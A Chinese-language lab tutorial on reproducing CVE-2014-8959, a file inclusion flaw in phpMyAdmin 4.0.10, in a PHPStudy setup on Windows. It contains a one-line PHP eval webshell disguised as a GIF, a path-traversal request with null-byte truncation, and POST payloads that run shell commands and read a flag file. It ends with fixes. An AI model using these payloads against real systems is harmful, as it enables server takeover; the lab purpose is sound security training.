从零构建漏洞实验场：Windows下PHPStudy环境中的CVE-2014-8959深度实战

在网络安全领域，理论知识的积累固然重要，但真正的技能提升往往来自于动手实践。本文将带您一步步在Windows系统上使用PHPStudy搭建phpMyAdmin漏洞环境，并深入复现CVE-2014-8959文件包含漏洞。不同于简单的漏洞描述，我们将重点关注环境搭建中的常见陷阱、BurpSuite实战技巧以及漏洞利用的底层原理，为您呈现一份详实的"漏洞复现实验手册"。

1. 实验环境准备与配置

1.1 工具与软件选择

搭建一个可靠的实验环境是成功复现漏洞的第一步。对于Windows用户来说，PHPStudy是一个理想的集成环境选择，它集成了Apache、PHP和MySQL等必要组件，且配置简单。以下是本次实验所需的核心工具：

• PHPStudy ：推荐使用2018版本（与漏洞环境更兼容）
• phpMyAdmin 4.0.10 ：存在漏洞的目标版本
• Burp Suite Community ：用于拦截和修改HTTP请求
• 文本编辑器 ：如Notepad++或VS Code，用于查看和修改配置文件

注意：所有实验应在隔离的虚拟机环境中进行，避免对真实系统造成影响。

1.2 PHPStudy环境配置细节

安装PHPStudy后，需要进行一些特定配置以确保环境兼容性：

1. 启动PHPStudy控制面板，选择"Apache+PHP5.4nts"组合
2. 修改Apache配置文件(httpd.conf)，确保包含以下指令：

AllowOverride All
Options Indexes FollowSymLinks

3. 在php.ini中设置关键参数：

allow_url_include = On
display_errors = On

常见问题排查：

• 如果端口冲突，可在PHPStudy面板修改默认80端口
• 遇到PHP版本不兼容时，尝试切换PHPStudy提供的不同PHP版本
• 确保所有服务启动后没有报错日志

2. 漏洞环境部署与验证

2.1 phpMyAdmin特定版本安装

CVE-2014-8959影响特定版本的phpMyAdmin，因此需要精确部署目标版本：

1. 从官方仓库下载phpMyAdmin 4.0.10
2. 解压到PHPStudy的WWW目录下，重命名为"pma"
3. 创建测试用的1.gif文件，内容为：

<?php @eval($_POST['a']); ?>

4. 在MySQL中创建测试用户：

CREATE USER 'pmatest'@'localhost' IDENTIFIED BY 'pmatest';
GRANT ALL PRIVILEGES ON *.* TO 'pmatest'@'localhost';

2.2 环境功能验证

在继续之前，必须确认环境各组件正常工作：

1. 访问 http://localhost/pma 应显示phpMyAdmin登录页面
2. 使用pmatest/pmatest凭据应能成功登录
3. 检查MySQL连接是否正常
4. 确认1.gif文件可通过直接URL访问

环境验证检查表：

• [ ] phpMyAdmin界面正常加载
• [ ] 数据库连接正常
• [ ] 测试账户登录成功
• [ ] 1.gif文件可访问

3. 漏洞原理深度解析

3.1 文件包含漏洞的本质

CVE-2014-8959的核心是phpMyAdmin中index.php文件的一处文件包含逻辑缺陷。正常情况下，文件包含应严格限制在特定目录内，但该漏洞允许通过精心构造的路径穿越目录限制。

漏洞关键点在于：

• 未充分过滤用户输入的路径参数
• 可通过路径遍历(../../../)突破目录限制
• 利用空字节(%00)截断文件扩展名检查

3.2 二次编码绕过机制

原始漏洞利用需要二次编码才能绕过安全检查，这是因为：

1. 第一层过滤会解码一次URL编码
2. 二次编码确保最终解码后得到预期的恶意路径
3. 例如，将"../"编码为"%252e%252e%252f"（%25是%的编码）

路径遍历编码示例：

原始字符	一次编码	二次编码
.	%2e	%252e
/	%2f	%252f

4. 漏洞复现实战步骤

4.1 Burp Suite拦截与修改请求

使用Burp Suite是复现该漏洞的关键步骤：

1. 配置浏览器使用Burp Suite作为代理(通常127.0.0.1:8080)
2. 访问phpMyAdmin并登录，拦截任意请求
3. 修改GET请求为以下格式：

GET /pma/gis_data_editor.php?token=[实际token]&gis_data[gis_type]=/../../../../1.gif%00

4. 注意替换[实际token]为当前会话的有效token值

4.2 漏洞利用与验证

成功利用漏洞后，可以通过POST请求执行任意PHP代码：

1. 发送包含恶意代码的POST请求：

POST /pma/gis_data_editor.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

a=echo shell_exec('whoami');

2. 检查响应中是否包含命令执行结果
3. 尝试读取flag文件：

a=echo file_get_contents('/tmp/flag');

4.3 常见问题与解决方案

在复现过程中可能会遇到以下问题：

• token无效 ：确保使用当前会话的新鲜token，不要使用示例中的固定值
• 空字节截断失效 ：某些PHP版本修复了%00截断，尝试不使用截断
• 路径深度不足 ：根据实际环境调整../../../的数量
• 权限问题 ：确保Web服务器有权限访问目标文件

5. 安全防护与实验扩展

5.1 漏洞修复方案

了解漏洞后，更重要的是知道如何防护：

1. 升级到phpMyAdmin最新版本
2. 禁用allow_url_include
3. 实施严格的输入过滤
4. 使用Web应用防火墙(WAF)规则拦截可疑请求

5.2 实验环境扩展建议

为了深化学习效果，可以尝试以下扩展实验：

1. 编写Python自动化利用脚本
2. 尝试不使用Burp Suite，直接通过浏览器地址栏利用
3. 研究其他文件包含漏洞的利用技术
4. 在Linux环境下复现相同漏洞

在实际测试中，我发现环境配置的PHP版本对漏洞利用成功与否影响很大。PHP5.4环境下成功率最高，而较新的PHP版本可能需要对利用技术进行调整。此外，token的获取必须来自当前有效会话，直接复制他人提供的token值永远不会成功。